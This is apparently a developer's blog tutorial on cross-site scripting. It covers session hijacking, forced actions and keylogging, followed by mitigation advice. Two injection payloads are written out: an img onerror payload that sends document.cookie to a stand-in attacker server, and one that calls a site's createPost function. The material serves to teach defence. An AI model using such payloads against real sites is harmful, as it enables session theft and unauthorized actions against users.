Understanding Cross-Site Scripting (XSS) in Web Security

JayJay
5 min read

What is XSS?

Cross-Site Scripting (XSS) is a security vulnerability that allows attackers to inject malicious scripts into websites. These scripts can manipulate website data, steal sensitive information such as cookies, and even take control of user sessions.

An attacker typically injects a malicious script into a website, which then executes in another user’s browser without their knowledge. This script runs every time the page is loaded, potentially exposing critical data, including login credentials and personal information.

For example, imagine using an online banking website that has an XSS vulnerability. An attacker could exploit it to steal your account details and credentials without you realizing it.

In this blog, we’ll explore different types of XSS attacks, their impact, and how to mitigate them.

1. User Session Hijacking

One common XSS attack involves hijacking user sessions by stealing cookies. Let's look at a simple example where an attacker injects a malicious script through a query parameter.

  • Scenario:

    Suppose we have a webpage that reads the name parameter from the URL and displays it on the UI. Normally, it works like this:

  • Here, I enter my name, which will be displayed on the UI.

  • Now I’ll show you some interesting stuff when I pass some malicious data inside name.

    ?name=John

However, an attacker could pass a malicious payload instead:

?name=<img src="does-not-exist" onerror="var img=document.createElement('img'); img.src='http://127.0.0.1:5001/cookie?data=' + document.cookie; document.querySelector('body').appendChild(img);">

What’s Happening?

  • The attacker inserts an image with a non-existent source, triggering an error.

  • When an error occurs, a new image element is created dynamically.

  • This new image sends the user’s cookie data to the attacker’s server.

  • Since the image is invisible, the user remains unaware of the attack.

Many modern browsers block such attacks by preventing the injection of scripts inside parameters. However, attackers continuously find creative ways to bypass security measures.

  • Let’s see how this works,

    • You can see that the image is broken, and the cookie data is passed into the URL.
  • Let’s see more example

2. Unauthorized Actions (CSRF-like Attack)

An attacker can exploit XSS to perform unauthorized actions on behalf of a user by calling internal functions.

Scenario:

  • Let's look at an example where a hacker can attack using credentials.

  • Here, I have a function called createPost, which creates a POST request to send a title and description. You can have any function with similar functionality, like creating a post, processing a payment, or anything else that requires your credentials to act.

Let’s say a hacker learns about the internal function and somehow obtains your credentials to execute it🤯.

Now, if an attacker knows about this function, they can inject the following payload:

?name=<img src="error" onerror="createPost('HACK_TITLE', 'HACK_DESCRIPTION');">

What’s Happening?

  • The attacker uses the same image trick to execute JavaScript.

  • This time, instead of stealing cookies, it calls createPost, submitting a malicious post using the authenticated user’s credentials.

  • Since the request originates from the logged-in session, the server considers it legitimate, making it difficult to detect.

3. Capturing Keystrokes

Another advanced XSS attack involves keylogging, where the attacker captures everything the user types and sends it to a remote server.

  • This is an interesting and unique way to attack, where the attacker injects a keystroke listener and makes server calls.

  • You might wonder why they do this. Imagine you are on a website where you are entering your account details or bank information. By capturing your keystrokes, the attacker can expose all of this information.

  • Let’s see an example…

    • What’s Happening?

    • The script listens for every keypress event.

    • Each keystroke is sent to the attacker’s server in real-time.

    • If a user enters their password, the attacker can capture it without any visual indication.

Boom!!.

This technique is commonly used in phishing attacks, where fake login forms are created to trick users into entering their credentials.

These are phishing attacks that occur on websites where we don't properly handle user inputs and edge cases. These things might not be visible in day-to-day life, but knowing about them can make a difference in the security of your web page.

Mitigation Strategies

To protect against XSS attacks, follow these best practices:

1. Sanitize User Input

  • Escape special characters like <, >, &, and " to prevent script execution.

  • Use a trusted library like DOMPurify to clean user input.

2. Avoid innerHTML

  • Use textContent or innerText instead of innerHTML to prevent JavaScript execution.

  • In React, avoid using dangerouslySetInnerHTML.

3. Implement Content Security Policy (CSP)

  • Define CSP headers to block inline scripts and restrict external script sources.

Example CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com;

4. Secure Cookies

  • Use HttpOnly and Secure flags for cookies to prevent JavaScript access and enforce HTTPS.

5. Input Validation

  • Validate input on both client and server-side to prevent unexpected script injections.

Conclusion

Cross-site scripting (XSS) is a dangerous vulnerability that can compromise user data and website integrity. Attackers use various techniques, such as session hijacking, unauthorized actions, and keystroke logging, to exploit web applications. By implementing proper input sanitization, CSP headers, and secure coding practices, you can significantly reduce the risk of XSS attacks and protect your users.

Stay vigilant, keep your security measures updated, and always validate user inputs!

Would love to hear your thoughts! Have you encountered any XSS vulnerabilities in your projects? Let’s discuss in the comments! 🚀

0
Subscribe to my newsletter

Read articles from Jay directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Jay
Jay

Hi, I'm Jay, a front-end developer passionate about crafting beautiful, responsive, user-friendly web experiences. With 2.5 years of experience in JavaScript, React, and modern UI frameworks, I specialize in building seamless interfaces that merge aesthetics with functionality. I love turning ideas into interactive digital experiences, optimizing performance, and staying ahead of the latest web trends. Let’s build something amazing together!